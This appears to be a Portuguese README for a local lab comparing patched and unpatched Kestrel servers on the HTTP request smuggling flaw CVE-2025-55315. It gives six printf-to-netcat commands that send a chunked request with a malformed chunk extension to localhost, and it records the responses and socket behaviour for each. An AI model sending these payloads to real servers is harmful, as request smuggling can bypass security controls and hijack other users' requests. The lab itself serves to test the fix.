
# Playground para experimentar diferentes comportamentos em Kestrel corrigido/não corrigido para a vulnerabilidade de contrabando HTTP CVE-2025-55315
Aqui estão alguns testes que podem ser realizados contra esses serviços para observar comportamentos diferentes nas rotas GET/POST entre as versões corrigida e não corrigida do Kestrel.
GET contra a versão não corrigida (envia 200 e o socket permanece aberto)
printf 'GET / HTTP/1.1\r\nHost: localhost\r\nTransfer-Encoding: chunked\r\nContent-Type: text/plain\r\n\r\n2;\rxx\r\nxy\r\n0\r\n\r\n' | nc localhost 5002
GET contra a versão corrigida (envia 200 e o socket fecha)
printf 'GET / HTTP/1.1\r\nHost: localhost\r\nTransfer-Encoding: chunked\r\nContent-Type: text/plain\r\n\r\n2;\rxx\r\nxy\r\n0\r\n\r\n' | nc localhost 5001
POST sem CT obrigatório contra a versão não corrigida (envia 200 e o socket permanece aberto)
printf 'POST / HTTP/1.1\r\nHost: localhost\r\nTransfer-Encoding: chunked\r\nContent-Type: text/plain\r\n\r\n2;\rxx\r\nxy\r\n0\r\n\r\n' | nc localhost 5002
POST sem CT obrigatório contra a versão corrigida (envia 400 e o socket fecha (o processo também lança uma exceção tratada sobre Bad chunk extension))
printf 'POST / HTTP/1.1\r\nHost: localhost\r\nTransfer-Encoding: chunked\r\nContent-Type: text/plain\r\n\r\n2;\rxx\r\nxy\r\n0\r\n\r\n' | nc localhost 5001
POST com CT obrigatório contra a versão não corrigida (envia 415 e o socket permanece aberto)
printf 'POST /ct HTTP/1.1\r\nHost: localhost\r\nTransfer-Encoding: chunked\r\nContent-Type: text/plain\r\n\r\n2;\rxx\r\nxy\r\n0\r\n\r\n' | nc localhost 5002
POST com CT obrigatório contra a versão corrigida (envia 415 e o socket fecha)
printf 'POST /ct HTTP/1.1\r\nHost: localhost\r\nTransfer-Encoding: chunked\r\nContent-Type: text/plain\r\n\r\n2;\rxx\r\nxy\r\n0\r\n\r\n' | nc localhost 5001